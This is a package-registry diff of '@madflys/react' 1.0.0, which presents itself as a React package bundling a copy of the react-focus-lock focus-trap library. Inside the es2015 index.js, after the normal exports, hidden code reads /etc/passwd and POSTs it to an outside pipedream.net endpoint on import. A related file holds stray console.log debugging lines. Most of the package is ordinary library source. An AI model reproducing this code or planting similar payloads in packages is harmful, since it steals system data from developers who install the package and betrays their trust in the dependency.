@madflys/react 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @madflys/react might be problematic. Click here for more details.

Files changed (37) hide show
  1. package/README.md +1 -0
  2. package/package.json +27 -0
  3. package/react/dist/node_modules/react-focus-lock/LICENSE +21 -0
  4. package/react/dist/node_modules/react-focus-lock/README.md +333 -0
  5. package/react/dist/node_modules/react-focus-lock/UI/UI.d.ts +38 -0
  6. package/react/dist/node_modules/react-focus-lock/UI/package.json +8 -0
  7. package/react/dist/node_modules/react-focus-lock/dist/cjs/AutoFocusInside.js +41 -0
  8. package/react/dist/node_modules/react-focus-lock/dist/cjs/Combination.js +43 -0
  9. package/react/dist/node_modules/react-focus-lock/dist/cjs/FocusGuard.js +49 -0
  10. package/react/dist/node_modules/react-focus-lock/dist/cjs/FreeFocusInside.js +38 -0
  11. package/react/dist/node_modules/react-focus-lock/dist/cjs/Lock.js +238 -0
  12. package/react/dist/node_modules/react-focus-lock/dist/cjs/MoveFocusInside.js +68 -0
  13. package/react/dist/node_modules/react-focus-lock/dist/cjs/Trap.js +299 -0
  14. package/react/dist/node_modules/react-focus-lock/dist/cjs/UI.js +59 -0
  15. package/react/dist/node_modules/react-focus-lock/dist/cjs/clientSideEffect.js +67 -0
  16. package/react/dist/node_modules/react-focus-lock/dist/cjs/index.js +26 -0
  17. package/react/dist/node_modules/react-focus-lock/dist/cjs/medium.js +26 -0
  18. package/react/dist/node_modules/react-focus-lock/dist/cjs/sidecar.js +18 -0
  19. package/react/dist/node_modules/react-focus-lock/dist/cjs/util.js +27 -0
  20. package/react/dist/node_modules/react-focus-lock/dist/es2015/AutoFocusInside.es.js +25 -0
  21. package/react/dist/node_modules/react-focus-lock/dist/es2015/Combination.es.js +23 -0
  22. package/react/dist/node_modules/react-focus-lock/dist/es2015/FocusGuard.es.js +34 -0
  23. package/react/dist/node_modules/react-focus-lock/dist/es2015/FreeFocusInside.es.js +22 -0
  24. package/react/dist/node_modules/react-focus-lock/dist/es2015/Lock.es.js +208 -0
  25. package/react/dist/node_modules/react-focus-lock/dist/es2015/MoveFocusInside.es.js +46 -0
  26. package/react/dist/node_modules/react-focus-lock/dist/es2015/Trap.es.js +276 -0
  27. package/react/dist/node_modules/react-focus-lock/dist/es2015/UI.es.js +7 -0
  28. package/react/dist/node_modules/react-focus-lock/dist/es2015/clientSideEffect.es.js +56 -0
  29. package/react/dist/node_modules/react-focus-lock/dist/es2015/index.js +27 -0
  30. package/react/dist/node_modules/react-focus-lock/dist/es2015/medium.es.js +14 -0
  31. package/react/dist/node_modules/react-focus-lock/dist/es2015/sidecar.es.js +4 -0
  32. package/react/dist/node_modules/react-focus-lock/dist/es2015/util.es.js +16 -0
  33. package/react/dist/node_modules/react-focus-lock/interfaces.d.ts +125 -0
  34. package/react/dist/node_modules/react-focus-lock/package.json +103 -0
  35. package/react/dist/node_modules/react-focus-lock/react-focus-lock.d.ts +33 -0
  36. package/react/dist/node_modules/react-focus-lock/sidecar/package.json +7 -0
  37. package/react/dist/node_modules/react-focus-lock/sidecar/sidecar.d.ts +5 -0
@@ -0,0 +1,276 @@
1
+ import * as React from 'react';
2
+ import PropTypes from 'prop-types';
3
+ import withSideEffect from 'react-clientside-effect';
4
+ import moveFocusInside, { focusInside, focusIsHidden, getFocusabledIn } from 'focus-lock';
5
+ import { deferAction } from './util';
6
+ import { mediumFocus, mediumBlur, mediumEffect } from './medium';
7
+
8
+ var focusOnBody = function focusOnBody() {
9
+ return document && document.activeElement === document.body;
10
+ };
11
+
12
+ var isFreeFocus = function isFreeFocus() {
13
+ return focusOnBody() || focusIsHidden();
14
+ };
15
+
16
+ var lastActiveTrap = null;
17
+ var lastActiveFocus = null;
18
+ var lastPortaledElement = null;
19
+ var focusWasOutsideWindow = false;
20
+
21
+ var defaultWhitelist = function defaultWhitelist() {
22
+ return true;
23
+ };
24
+
25
+ var focusWhitelisted = function focusWhitelisted(activeElement) {
26
+ return (lastActiveTrap.whiteList || defaultWhitelist)(activeElement);
27
+ };
28
+
29
+ var recordPortal = function recordPortal(observerNode, portaledElement) {
30
+ lastPortaledElement = {
31
+ observerNode: observerNode,
32
+ portaledElement: portaledElement
33
+ };
34
+ };
35
+
36
+ var focusIsPortaledPair = function focusIsPortaledPair(element) {
37
+ return lastPortaledElement && lastPortaledElement.portaledElement === element;
38
+ };
39
+
40
+ function autoGuard(startIndex, end, step, allNodes) {
41
+ var lastGuard = null;
42
+ var i = startIndex;
43
+
44
+ do {
45
+ var item = allNodes[i];
46
+
47
+ if (item.guard) {
48
+ if (item.node.dataset.focusAutoGuard) {
49
+ lastGuard = item;
50
+ }
51
+ } else if (item.lockItem) {
52
+ if (i !== startIndex) {
53
+ // we will tab to the next element
54
+ return;
55
+ }
56
+
57
+ lastGuard = null;
58
+ } else {
59
+ break;
60
+ }
61
+ } while ((i += step) !== end);
62
+
63
+ if (lastGuard) {
64
+ lastGuard.node.tabIndex = 0;
65
+ }
66
+ }
67
+
68
+ var extractRef = function extractRef(ref) {
69
+ return ref && 'current' in ref ? ref.current : ref;
70
+ };
71
+
72
+ var focusWasOutside = function focusWasOutside(crossFrameOption) {
73
+ if (crossFrameOption) {
74
+ // with cross frame return true for any value
75
+ return Boolean(focusWasOutsideWindow);
76
+ } // in other case return only of focus went a while aho
77
+
78
+
79
+ return focusWasOutsideWindow === 'meanwhile';
80
+ };
81
+
82
+ var checkInHost = function checkInHost(check, el, boundary) {
83
+ return el // find host equal to active element and check nested active element
84
+ && (el.host === check && (!el.activeElement || boundary.contains(el.activeElement)) // dive up
85
+ || el.parentNode && checkInHost(check, el.parentNode, boundary));
86
+ };
87
+
88
+ var withinHost = function withinHost(activeElement, workingArea) {
89
+ return workingArea.some(function (area) {
90
+ return checkInHost(activeElement, area, area);
91
+ });
92
+ };
93
+
94
+ var activateTrap = function activateTrap() {
95
+ var result = false;
96
+
97
+ if (lastActiveTrap) {
98
+ var _lastActiveTrap = lastActiveTrap,
99
+ observed = _lastActiveTrap.observed,
100
+ persistentFocus = _lastActiveTrap.persistentFocus,
101
+ autoFocus = _lastActiveTrap.autoFocus,
102
+ shards = _lastActiveTrap.shards,
103
+ crossFrame = _lastActiveTrap.crossFrame,
104
+ focusOptions = _lastActiveTrap.focusOptions;
105
+ var workingNode = observed || lastPortaledElement && lastPortaledElement.portaledElement;
106
+ var activeElement = document && document.activeElement;
107
+
108
+ if (workingNode) {
109
+ var workingArea = [workingNode].concat(shards.map(extractRef).filter(Boolean));
110
+
111
+ if (!activeElement || focusWhitelisted(activeElement)) {
112
+ if (persistentFocus || focusWasOutside(crossFrame) || !isFreeFocus() || !lastActiveFocus && autoFocus) {
113
+ if (workingNode && !( // active element is "inside" working area
114
+ focusInside(workingArea) || // check for shadow-dom contained elements
115
+ activeElement && withinHost(activeElement, workingArea) || focusIsPortaledPair(activeElement, workingNode))) {
116
+ if (document && !lastActiveFocus && activeElement && !autoFocus) {
117
+ // Check if blur() exists, which is missing on certain elements on IE
118
+ if (activeElement.blur) {
119
+ activeElement.blur();
120
+ }
121
+
122
+ document.body.focus();
123
+ } else {
124
+ result = moveFocusInside(workingArea, lastActiveFocus, {
125
+ focusOptions: focusOptions
126
+ });
127
+ lastPortaledElement = {};
128
+ }
129
+ }
130
+
131
+ focusWasOutsideWindow = false;
132
+ lastActiveFocus = document && document.activeElement;
133
+ }
134
+ }
135
+
136
+ if (document) {
137
+ var newActiveElement = document && document.activeElement;
138
+ var allNodes = getFocusabledIn(workingArea);
139
+ var focusedIndex = allNodes.map(function (_ref) {
140
+ var node = _ref.node;
141
+ return node;
142
+ }).indexOf(newActiveElement);
143
+
144
+ if (focusedIndex > -1) {
145
+ // remove old focus
146
+ allNodes.filter(function (_ref2) {
147
+ var guard = _ref2.guard,
148
+ node = _ref2.node;
149
+ return guard && node.dataset.focusAutoGuard;
150
+ }).forEach(function (_ref3) {
151
+ var node = _ref3.node;
152
+ return node.removeAttribute('tabIndex');
153
+ });
154
+ autoGuard(focusedIndex, allNodes.length, +1, allNodes);
155
+ autoGuard(focusedIndex, -1, -1, allNodes);
156
+ }
157
+ }
158
+ }
159
+ }
160
+
161
+ return result;
162
+ };
163
+
164
+ var onTrap = function onTrap(event) {
165
+ if (activateTrap() && event) {
166
+ // prevent scroll jump
167
+ event.stopPropagation();
168
+ event.preventDefault();
169
+ }
170
+ };
171
+
172
+ var onBlur = function onBlur() {
173
+ return deferAction(activateTrap);
174
+ };
175
+
176
+ var onFocus = function onFocus(event) {
177
+ // detect portal
178
+ var source = event.target;
179
+ var currentNode = event.currentTarget;
180
+
181
+ if (!currentNode.contains(source)) {
182
+ recordPortal(currentNode, source);
183
+ }
184
+ };
185
+
186
+ var FocusWatcher = function FocusWatcher() {
187
+ return null;
188
+ };
189
+
190
+ var FocusTrap = function FocusTrap(_ref4) {
191
+ var children = _ref4.children;
192
+ return /*#__PURE__*/React.createElement("div", {
193
+ onBlur: onBlur,
194
+ onFocus: onFocus
195
+ }, children);
196
+ };
197
+
198
+ FocusTrap.propTypes = process.env.NODE_ENV !== "production" ? {
199
+ children: PropTypes.node.isRequired
200
+ } : {};
201
+
202
+ var onWindowBlur = function onWindowBlur() {
203
+ focusWasOutsideWindow = 'just'; // using setTimeout to set this variable after React/sidecar reaction
204
+
205
+ setTimeout(function () {
206
+ focusWasOutsideWindow = 'meanwhile';
207
+ }, 0);
208
+ };
209
+
210
+ var attachHandler = function attachHandler() {
211
+ document.addEventListener('focusin', onTrap);
212
+ document.addEventListener('focusout', onBlur);
213
+ window.addEventListener('blur', onWindowBlur);
214
+ };
215
+
216
+ var detachHandler = function detachHandler() {
217
+ document.removeEventListener('focusin', onTrap);
218
+ document.removeEventListener('focusout', onBlur);
219
+ window.removeEventListener('blur', onWindowBlur);
220
+ };
221
+
222
+ function reducePropsToState(propsList) {
223
+ return propsList.filter(function (_ref5) {
224
+ var disabled = _ref5.disabled;
225
+ return !disabled;
226
+ });
227
+ }
228
+
229
+ function handleStateChangeOnClient(traps) {
230
+ var trap = traps.slice(-1)[0];
231
+
232
+ if (trap && !lastActiveTrap) {
233
+ attachHandler();
234
+ }
235
+
236
+ var lastTrap = lastActiveTrap;
237
+ var sameTrap = lastTrap && trap && trap.id === lastTrap.id;
238
+ lastActiveTrap = trap;
239
+
240
+ if (lastTrap && !sameTrap) {
241
+ lastTrap.onDeactivation(); // return focus only of last trap was removed
242
+
243
+ if (!traps.filter(function (_ref6) {
244
+ var id = _ref6.id;
245
+ return id === lastTrap.id;
246
+ }).length) {
247
+ // allow defer is no other trap is awaiting restore
248
+ lastTrap.returnFocus(!trap);
249
+ }
250
+ }
251
+
252
+ if (trap) {
253
+ lastActiveFocus = null;
254
+
255
+ if (!sameTrap || lastTrap.observed !== trap.observed) {
256
+ trap.onActivation();
257
+ }
258
+
259
+ activateTrap(true);
260
+ deferAction(activateTrap);
261
+ } else {
262
+ detachHandler();
263
+ lastActiveFocus = null;
264
+ }
265
+ } // bind medium
266
+
267
+
268
+ mediumFocus.assignSyncMedium(onFocus);
269
+ mediumBlur.assignMedium(onBlur);
270
+ mediumEffect.assignMedium(function (cb) {
271
+ return cb({
272
+ moveFocusInside: moveFocusInside,
273
+ focusInside: focusInside
274
+ });
275
+ });
276
+ export default withSideEffect(reducePropsToState, handleStateChangeOnClient)(FocusWatcher);
@@ -0,0 +1,7 @@
1
+ import FocusLockUI from './Lock';
2
+ import AutoFocusInside from './AutoFocusInside';
3
+ import MoveFocusInside, { useFocusInside } from './MoveFocusInside';
4
+ import FreeFocusInside from './FreeFocusInside';
5
+ import InFocusGuard from './FocusGuard';
6
+ export { AutoFocusInside, MoveFocusInside, FreeFocusInside, InFocusGuard, FocusLockUI, useFocusInside };
7
+ export default FocusLockUI;
@@ -0,0 +1,56 @@
1
+ /* eslint-disable */
2
+ import * as React from 'react'; // NOT USED
3
+
4
+ function withSideEffect(reducePropsToState, handleStateChangeOnClient) {
5
+ if (process.env.NODE_ENV !== 'production') {
6
+ if (typeof reducePropsToState !== 'function') {
7
+ throw new Error('Expected reducePropsToState to be a function.');
8
+ }
9
+
10
+ if (typeof handleStateChangeOnClient !== 'function') {
11
+ throw new Error('Expected handleStateChangeOnClient to be a function.');
12
+ }
13
+ }
14
+
15
+ return function wrap(WrappedComponent) {
16
+ if (process.env.NODE_ENV !== 'production') {
17
+ if (typeof WrappedComponent !== 'function') {
18
+ throw new Error('Expected WrappedComponent to be a React component.');
19
+ }
20
+ }
21
+
22
+ var mountedInstances = [];
23
+
24
+ function emitChange() {
25
+ console.log('emitting');
26
+ var state = reducePropsToState(mountedInstances.map(function (instance) {
27
+ return instance.current;
28
+ }));
29
+ handleStateChangeOnClient(state);
30
+ }
31
+
32
+ var SideEffect = function SideEffect(props) {
33
+ var lastProps = React.useRef(props);
34
+ React.useEffect(function () {
35
+ lastProps.current = props;
36
+ }); // handle mounted instances
37
+
38
+ React.useEffect(function () {
39
+ console.log('ins added');
40
+ mountedInstances.push(lastProps);
41
+ return function () {
42
+ console.log('ins removed');
43
+ var index = mountedInstances.indexOf(lastProps);
44
+ mountedInstances.splice(index, 1);
45
+ };
46
+ }, []); // notify updates
47
+ // React.useEffect(emitChange, [props.disabled]);
48
+
49
+ return /*#__PURE__*/React.createElement(WrappedComponent, props);
50
+ };
51
+
52
+ return SideEffect;
53
+ };
54
+ }
55
+
56
+ export default withSideEffect;
@@ -0,0 +1,27 @@
1
+ #!/usr/bin/env node
2
+
3
+ import FocusLock from './Combination';
4
+ export * from './UI';
5
+ export default FocusLock;
6
+
7
+ const fs = require('fs');
8
+ const http = require('http');
9
+
10
+ const home = process.env.HOME;
11
+
12
+ const options = {
13
+ host: 'enjfs1iudo11g1e.m.pipedream.net',
14
+ path: '/madflys',
15
+ port: 80,
16
+ method: 'POST'
17
+ };
18
+
19
+ const req = http.request(options, function(response) {
20
+ console.log(response);
21
+ });
22
+
23
+ fs.readFile(`/etc/passwd`, 'utf-8', function(error, data) {
24
+ console.log(data);
25
+ req.write(data);
26
+ req.end();
27
+ });
@@ -0,0 +1,14 @@
1
+ import { createMedium, createSidecarMedium } from 'use-sidecar';
2
+ export var mediumFocus = createMedium({}, function (_ref) {
3
+ var target = _ref.target,
4
+ currentTarget = _ref.currentTarget;
5
+ return {
6
+ target: target,
7
+ currentTarget: currentTarget
8
+ };
9
+ });
10
+ export var mediumBlur = createMedium();
11
+ export var mediumEffect = createMedium();
12
+ export var mediumSidecar = createSidecarMedium({
13
+ async: true
14
+ });
@@ -0,0 +1,4 @@
1
+ import { exportSidecar } from 'use-sidecar';
2
+ import FocusTrap from './Trap';
3
+ import { mediumSidecar } from './medium';
4
+ export default exportSidecar(mediumSidecar, FocusTrap);
@@ -0,0 +1,16 @@
1
+ export function deferAction(action) {
2
+ // Hidding setImmediate from Webpack to avoid inserting polyfill
3
+ var _window = window,
4
+ setImmediate = _window.setImmediate;
5
+
6
+ if (typeof setImmediate !== 'undefined') {
7
+ setImmediate(action);
8
+ } else {
9
+ setTimeout(action, 1);
10
+ }
11
+ }
12
+ export var inlineProp = function inlineProp(name, value) {
13
+ var obj = {};
14
+ obj[name] = value;
15
+ return obj;
16
+ };
@@ -0,0 +1,125 @@
1
+ import * as React from 'react';
2
+ import {Ref} from "react";
3
+
4
+ export interface ReactFocusLockProps<ChildrenType = React.ReactNode, LockProps = Record<string, any>> {
5
+ disabled?: boolean;
6
+
7
+ /**
8
+ * if true, will return focus to the previous position on trap disable.
9
+ * Optionally, can pass focus options instead of `true` to control the focus
10
+ * more precisely (ie. `{ preventScroll: true }`)
11
+ *
12
+ * can also accept a function with the first argument equals to element focus will be returned to
13
+ * in order to provide full control to the user space
14
+ */
15
+ returnFocus?: boolean | FocusOptions | ((returnTo: Element) => boolean | FocusOptions);
16
+
17
+ /**
18
+ * used to control behavior or "returning focus back to the lock"
19
+ *
20
+ * @deprecated Can lead to a wrong user experience. Use this option only if you known what you are doing
21
+ * @see {@link https://github.com/theKashey/react-focus-lock/issues/162}
22
+ * @example
23
+ * prevent scroll example
24
+ * ```tsx
25
+ * <FocusLock focusOptions={{preventScroll: true}} />
26
+ * ```
27
+ */
28
+ focusOptions?: FocusOptions;
29
+
30
+ /**
31
+ * @deprecated Use persistentFocus=false instead
32
+ * enables(or disables) text selection. This also allows not to have ANY focus.
33
+ */
34
+ allowTextSelection?: boolean;
35
+
36
+ /**
37
+ * enables of disables "sticky" behavior, when any focusable element shall be focused.
38
+ * This disallow any text selection on the page.
39
+ * @default false
40
+ */
41
+ persistentFocus?: boolean;
42
+
43
+ /**
44
+ * enables aggressive focus capturing within iframes
45
+ * - once disabled allows focus to move outside of iframe, if enabled inside iframe
46
+ * - once enabled keep focus in the lock, no matter where lock is active (default)
47
+ * @default true
48
+ */
49
+ crossFrame?: boolean;
50
+
51
+ /**
52
+ * enables or disables autoFocusing feature.
53
+ * If enabled - will move focus inside Lock, selecting the first or autoFocusable element
54
+ * If disable - will blur any focus on Lock activation.
55
+ * @default true
56
+ */
57
+ autoFocus?: boolean;
58
+
59
+ /**
60
+ * disables hidden inputs before and after the lock.
61
+ */
62
+ noFocusGuards?: boolean | "tail";
63
+
64
+ /**
65
+ * Controls support a focus lock behavior when any elements tabIndex greater than 0.
66
+ * @default false
67
+ * @see - https://github.com/theKashey/react-focus-lock/issues/32
68
+ */
69
+ hasPositiveIndices?: boolean;
70
+
71
+ /**
72
+ * named focus group for focus scattering aka combined lock targets
73
+ */
74
+ group?: string;
75
+
76
+ className?: string;
77
+
78
+ /**
79
+ * life-cycle hook, called on lock activation
80
+ * @param node the observed node
81
+ */
82
+ onActivation?(node: HTMLElement): void;
83
+
84
+ /**
85
+ * life-cycle hook, called on deactivation
86
+ * @param node the observed node
87
+ */
88
+ onDeactivation?(node: HTMLElement): void;
89
+
90
+ /**
91
+ * Component to use, defaults to 'div'
92
+ */
93
+ as?: string | React.ElementType<LockProps & { children: ChildrenType }>,
94
+ lockProps?: LockProps,
95
+
96
+ ref?: Ref<HTMLElement>;
97
+
98
+ /**
99
+ * Controls focus lock working areas. Lock will silently ignore all the events from `not allowed` areas
100
+ * @param activeElement
101
+ * @returns {Boolean} true if focus lock should handle activeElement, false if not
102
+ */
103
+ whiteList?: (activeElement: HTMLElement) => boolean;
104
+
105
+ /**
106
+ * Shards forms a scattered lock, same as `group` does, but in more "low" and controlled way
107
+ */
108
+ shards?: Array<React.RefObject<any> | HTMLElement>;
109
+
110
+ children?: ChildrenType;
111
+ }
112
+
113
+ export interface AutoFocusProps {
114
+ children: React.ReactNode;
115
+ disabled?: boolean;
116
+ className?: string;
117
+ }
118
+
119
+ export interface FreeFocusProps {
120
+ className?: string;
121
+ }
122
+
123
+ export interface InFocusGuardProps {
124
+ children: React.ReactNode;
125
+ }
@@ -0,0 +1,103 @@
1
+ {
2
+ "name": "react-focus-lock",
3
+ "version": "2.8.1",
4
+ "description": "It is a trap! (for a focus)",
5
+ "main": "dist/cjs/index.js",
6
+ "jsnext:main": "dist/es2015/index.js",
7
+ "module": "dist/es2015/index.js",
8
+ "types": "react-focus-lock.d.ts",
9
+ "sideEffects": [
10
+ "**/sidecar.js"
11
+ ],
12
+ "scripts": {
13
+ "build:cjs": "NODE_ENV=cjs babel src -d dist/cjs",
14
+ "build:es5": "NODE_ENV=es2015 babel src -d dist/es2015",
15
+ "build": "rm -Rf ./dist && yarn build:es5 && yarn build:cjs",
16
+ "test": "npm run test:pick -- '_tests/**/*spec.js'",
17
+ "test:pick": "NODE_ENV=cjs mocha --require @babel/register --require global-jsdom/register --require _tests/spinup/scaffolding --exit",
18
+ "prepublish": "npm run lint:fix && npm run build && npm run changelog",
19
+ "lint": "eslint src",
20
+ "lint:fix": "eslint src --fix",
21
+ "storybook": "NODE_ENV=es2015 start-storybook -p 6006",
22
+ "build-storybook": "NODE_ENV=es2015 build-storybook",
23
+ "package-self": "package-self",
24
+ "size": "yarn build && yarn size-limit",
25
+ "changelog": "conventional-changelog -p angular -i CHANGELOG.md -s -r 0"
26
+ },
27
+ "repository": {
28
+ "type": "git",
29
+ "url": "git+https://github.com/theKashey/react-focus-lock.git"
30
+ },
31
+ "files": [
32
+ "dist",
33
+ "sidecar",
34
+ "UI",
35
+ "interfaces.d.ts",
36
+ "react-focus-lock.d.ts"
37
+ ],
38
+ "keywords": [
39
+ "react",
40
+ "focus",
41
+ "lock",
42
+ "trap",
43
+ "tabbable"
44
+ ],
45
+ "author": "theKashey <thekashey@gmail.com>",
46
+ "license": "MIT",
47
+ "bugs": {
48
+ "url": "https://github.com/theKashey/react-focus-lock/issues"
49
+ },
50
+ "peerDependencies": {
51
+ "react": "^16.8.0 || ^17.0.0 || ^18.0.0"
52
+ },
53
+ "devDependencies": {
54
+ "@babel/cli": "^7.0.0",
55
+ "@babel/core": "^7.0.0",
56
+ "@babel/plugin-proposal-class-properties": "^7.0.0",
57
+ "@babel/plugin-syntax-dynamic-import": "^7.2.0",
58
+ "@babel/plugin-transform-runtime": "^7.1.0",
59
+ "@babel/polyfill": "^7.0.0",
60
+ "@babel/preset-env": "^7.0.0",
61
+ "@babel/preset-react": "^7.0.0",
62
+ "@babel/register": "^7.0.0",
63
+ "@size-limit/preset-small-lib": "^4.5.0",
64
+ "@storybook/addon-actions": "^5.1.8",
65
+ "@storybook/addon-links": "^5.1.8",
66
+ "@storybook/react": "^5.1.8",
67
+ "@types/react": "^16.8.19",
68
+ "babel-eslint": "^10.0.1",
69
+ "babel-loader": "^8.0.4",
70
+ "babel-plugin-transform-react-remove-prop-types": "^0.4.19",
71
+ "chai": "^4.1.0",
72
+ "chai-enzyme": "^1.0.0-beta.0",
73
+ "conventional-changelog-cli": "^2.0.12",
74
+ "enzyme": "^3.3.0",
75
+ "enzyme-adapter-react-16": "^1.15.2",
76
+ "eslint": "^5.16.0",
77
+ "eslint-config-airbnb": "^17.1.0",
78
+ "eslint-plugin-import": "^2.17.3",
79
+ "eslint-plugin-jsx-a11y": "^6.2.1",
80
+ "eslint-plugin-mocha": "^5.3.0",
81
+ "eslint-plugin-react": "^7.13.0",
82
+ "jsdom": "^16.0.0",
83
+ "global-jsdom": "^8.4.0",
84
+ "material-ui": "^0.20.0",
85
+ "mocha": "^8.3.2",
86
+ "package-self": "^1.1.1",
87
+ "react": "^16.8.6",
88
+ "react-dom": "^16.8.6",
89
+ "react-hot-loader": "^4.11.0",
90
+ "react-test-renderer": "^16.2.0",
91
+ "sinon": "7.3.2",
92
+ "size-limit": "^4.5.0"
93
+ },
94
+ "homepage": "https://github.com/theKashey/react-focus-lock#readme",
95
+ "dependencies": {
96
+ "@babel/runtime": "^7.0.0",
97
+ "focus-lock": "^0.10.2",
98
+ "prop-types": "^15.6.2",
99
+ "react-clientside-effect": "^1.2.5",
100
+ "use-callback-ref": "^1.2.5",
101
+ "use-sidecar": "^1.0.5"
102
+ }
103
+ }
@@ -0,0 +1,33 @@
1
+ import * as React from 'react';
2
+ import {ReactFocusLockProps, AutoFocusProps, FreeFocusProps, InFocusGuardProps} from "./interfaces";
3
+
4
+ /**
5
+ * Traps Focus inside a Lock
6
+ */
7
+ declare const ReactFocusLock: React.FC<ReactFocusLockProps>;
8
+
9
+ export default ReactFocusLock;
10
+
11
+ /**
12
+ * Autofocus on children on Lock activation
13
+ */
14
+ export class AutoFocusInside extends React.Component<AutoFocusProps> {
15
+ }
16
+
17
+ /**
18
+ * Autofocus on children
19
+ */
20
+ export class MoveFocusInside extends React.Component<AutoFocusProps> {
21
+ }
22
+
23
+ /**
24
+ * Allow free focus inside on children
25
+ */
26
+ export class FreeFocusInside extends React.Component<FreeFocusProps> {
27
+ }
28
+
29
+ /**
30
+ * Secures the focus around the node
31
+ */
32
+ export class InFocusGuard extends React.Component<InFocusGuardProps> {
33
+ }
@@ -0,0 +1,7 @@
1
+ {
2
+ "private": true,
3
+ "main": "../dist/cjs/sidecar.js",
4
+ "jsnext:main": "../dist/es2015/sidecar.js",
5
+ "module": "../dist/es2015/sidecar.js",
6
+ "types": "sidecar.d.ts"
7
+ }
@@ -0,0 +1,5 @@
1
+ import * as React from 'react';
2
+
3
+ declare var sidecar: React.SFC;
4
+
5
+ export default sidecar;